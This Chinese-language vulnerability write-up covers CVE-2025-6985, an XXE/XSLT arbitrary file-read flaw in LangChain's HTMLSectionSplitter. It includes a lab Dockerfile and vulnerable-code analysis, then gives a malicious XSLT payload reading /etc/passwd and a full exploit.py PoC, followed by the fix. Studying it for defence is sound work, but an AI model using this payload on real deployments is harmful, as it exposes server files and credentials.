CVE-2025-6985 - LangChain HTMLSectionSplitter XXE 漏洞
CVE-2025-6985 - LangChain HTMLSectionSplitter XXE 漏洞
CVE-2025-6985 - LangChain HTMLSectionSplitter XXE 漏洞
前言
LangChain 是一个流行的 AI 应用开发框架,其 langchain-text-splitters 组件用于文本分割处理。本漏洞是该组件中的 HTMLSectionSplitter 类存在 XXE 注入漏洞,攻击者可通过构造恶意 XSLT 文件读取服务器本地敏感文件。
一、漏洞描述
langchain-text-splitters 在 0.3.9 版本之前,HTMLSectionSplitter 类允许用户通过 xslt_path 参数指定自定义 XSLT 文件用于 HTML 转换。当处理 HTML 时,系统直接使用 lxml 解析用户指定的 XSLT 文件,未进行任何安全限制。
攻击者可以通过构造包含恶意 XXE Payload 的 XSLT 文件,利用 XSLT 的 document() 函数读取服务器上的任意文件。由于 lxml 在默认配置下(特别是 4.x 版本)会解析外部实体,攻击者可读取敏感配置文件、密钥等数据。
二、环境搭建
我的环境
- 软件版本: langchain-text-splitters 0.3.8 (漏洞版本)
- Python 版本: 3.11.6
- lxml 版本: 4.9.4 (易受攻击版本)
部署
因为langchain 是一个整体的框架,我们只需要其中的一个组件就好了,也就是 langchain_text_splitters,是python 的一个包
pip 下载或者python 直接导入
FROM python:3.11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y libxml2-dev libxslt-dev python3-dev && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
RUN pip install langchain-text-splitters==0.3.8 lxml==4.9.4 beautifulsoup4 --no-cache-dir
WORKDIR /app
COPY exploit.py .
CMD ["python", "exploit.py"]三、漏洞分析/代码分析
漏洞触发链路
传入 xslt_path 参数(恶意 XSLT 文件路径)
↓
__init__ 方法直接保存用户输入的路径
↓
用户调用 split_text() 处理 HTML
↓
内部调用 convert_possible_tags_to_header()
↓
【漏洞点】etree.parse() 解析恶意 XSLT,无安全配置
↓
【漏洞点】etree.XSLT() 执行转换,无 access_control
↓
XSLT document() 函数读取本地文件
↓
敏感数据泄露到返回结果中代码分析
HTMLSectionSplitter
HTMLSectionSplitter 就是一个HTML 文档分块器
class HTMLSectionSplitter:
"""Splitting HTML files based on specified tag and font sizes.
Requires lxml package.
"""
def __init__(
self,
headers_to_split_on: List[Tuple[str, str]],
xslt_path: Optional[str] = None,
**kwargs: Any,
) -> None:
"""Create a new HTMLSectionSplitter.
Args:
headers_to_split_on: list of tuples of headers we want to track mapped to
(arbitrary) keys for metadata. Allowed header values: h1, h2, h3, h4,
h5, h6 e.g. [("h1", "Header 1"), ("h2", "Header 2"].
xslt_path: path to xslt file for document transformation.
Uses a default if not passed.
Needed for html contents that using different format and layouts.
**kwargs (Any): Additional optional arguments for customizations.
"""
self.headers_to_split_on = dict(headers_to_split_on)
if xslt_path is None:
self.xslt_path = (
pathlib.Path(__file__).parent / "xsl/converting_to_header.xslt"
).absolute()
else:
self.xslt_path = pathlib.Path(xslt_path).absolute()
self.kwargs = kwargs关键点就是可以指定一个 XSLT 文件的路径,后面会解析
XSLT 解析
使用了 HTMLParser 解析,而且参数都没有设置,导致了注入
def convert_possible_tags_to_header(self, html_content: str) -> str:
"""Convert specific HTML tags to headers using an XSLT transformation.
This method uses an XSLT file to transform the HTML content, converting
certain tags into headers for easier parsing. If no XSLT path is provided,
the HTML content is returned unchanged.
Args:
html_content (str): The HTML content to be transformed.
Returns:
str: The transformed HTML content as a string.
"""
if self.xslt_path is None:
return html_content
try:
from lxml import etree
except ImportError as e:
raise ImportError(
"Unable to import lxml, please install with `pip install lxml`."
) from e
# use lxml library to parse html document and return xml ElementTree
# 🔴 漏洞点:使用默认 HTMLParser,没有设置 no_network=True
parser = etree.HTMLParser()
tree = etree.parse(StringIO(html_content), parser)
# 🔴 漏洞点:解析用户指定的 XSLT 文件,没有任何安全配置
# - 没有 resolve_entities=False
# - 没有 load_dtd=False
# - 没有 no_network=True
xslt_tree = etree.parse(self.xslt_path)
# 🔴 漏洞点:创建 XSLT 转换器,没有设置 access_control
# XSLT 的 document() 函数可以读取任意本地文件
transform = etree.XSLT(xslt_tree)
result = transform(tree)
return str(result)恶意 XSLT
比如读取本地文件
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h1>XXE_LEAKED_DATA</h1>
<div id="stolen">
<xsl:copy-of select="document('file:///etc/passwd')"/>
</div>
</body>
</html>
</xsl:template>
</xsl:stylesheet>四、漏洞复现
复现步骤
我是在docker 中搭建的环境
直接把脚本复制过去并执行
exploit.py 完整代码:
#!/usr/bin/env python3
"""
CVE-2025-6985: LangChain HTMLSectionSplitter XXE Vulnerability PoC
Docker 环境 - XXE 可读取任意文件
"""
from pathlib import Path
from tempfile import NamedTemporaryFile
from langchain_text_splitters import HTMLSectionSplitter
import os
import secrets
HTML = "<html><body><h1>demo</h1></body></html>"
print("=" * 60)
print("CVE-2025-6985: LangChain HTMLSectionSplitter XXE PoC")
print("=" * 60)
# 创建敏感文件
secret_file = "/app/secret_config.xml"
secret_data = f"""<?xml version="1.0"?>
<config>
<database_password>SECRET_PASS_{secrets.token_hex(8)}</database_password>
<api_key>AKIA{secrets.token_hex(16)}</api_key>
</config>"""
with open(secret_file, 'w') as f:
f.write(secret_data)
print(f"\n[*] 创建敏感文件: {secret_file}")
# 创建恶意 XSLT
DOC_POC = f"""<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body><h1>XXE</h1>
<xsl:copy-of select="document('file://{secret_file}')"/>
</body></html>
</xsl:template>
</xsl:stylesheet>"""
try:
with NamedTemporaryFile("w", suffix=".xslt") as f:
f.write(DOC_POC); f.flush()
splitter = HTMLSectionSplitter([("h1", "H")], xslt_path=f.name)
out = splitter.split_text(HTML)
print("\n" + "=" * 60)
print("XXE 攻击结果:")
print("=" * 60)
leaked = False
for chunk in out:
content = getattr(chunk, "page_content", chunk)
print(content)
if "SECRET_PASS_" in content or "AKIA" in content:
leaked = True
if leaked:
print("\n" + "!" * 60)
print("[!!!] XXE 攻击成功 - 敏感文件被读取!")
print("!" * 60)
else:
print("\n[-] XXE 失败")
except TypeError as e:
if "xslt_path" in str(e):
print("\n[+] 系统已修复 - xslt_path 参数已移除")
except Exception as e:
print(f"\n[-] 错误: {type(e).__name__}: {e}")
finally:
if os.path.exists(secret_file):
os.unlink(secret_file)五、漏洞修复
修复版本: langchain-text-splitters >= 0.3.9
- 移除了
HTMLSectionSplitter中的xslt_path参数,以消除 XXE 攻击向量 - 通过安全配置加固 XML/HTML 解析器,以防止 XXE 攻击
- 添加全面的安全测试以确保漏洞已修复
- 此 PR 旨在解决
HTMLSectionSplitter组件中发现的一个关键 XXE 漏洞。该漏洞允许攻击者: - 读取敏感本地文件(SSH 密钥、密码、配置文件)
- 执行服务器端请求伪造 (SSRF) 攻击
- 将数据窃取到攻击者控制的服务器
- 移除了
xslt_path参数 - 这消除了用户可能提供恶意 XSLT 文件的主要攻击向量 - 加固了 XML 解析器 - 添加了安全配置以防止即使是使用默认 XSLT 时的 XXE 攻击:
no_network=True- 阻止网络访问resolve_entities=False- 防止实体扩展load_dtd=False- 禁用 DTD 处理XSLTAccessControl.DENY_ALL- 阻止 XSLT 转换中的所有文件/网络 I/O 操作
- 添加了安全测试 - 新增测试文件
test_html_security.py,包含针对各种 XXE 攻向量的全面测试 - 更新了现有测试 - 修改了使用了已移除的
xslt_path参数的测试
参考资料
CVE-2025-6985 是 LangChain text-splitters 中 HTMLSectionSplitter 的 XXE 漏洞,攻击者可通过恶意 XSLT 读取服务器敏感文件。
由 AI 根据全文自动生成,仅供参考,以原文为准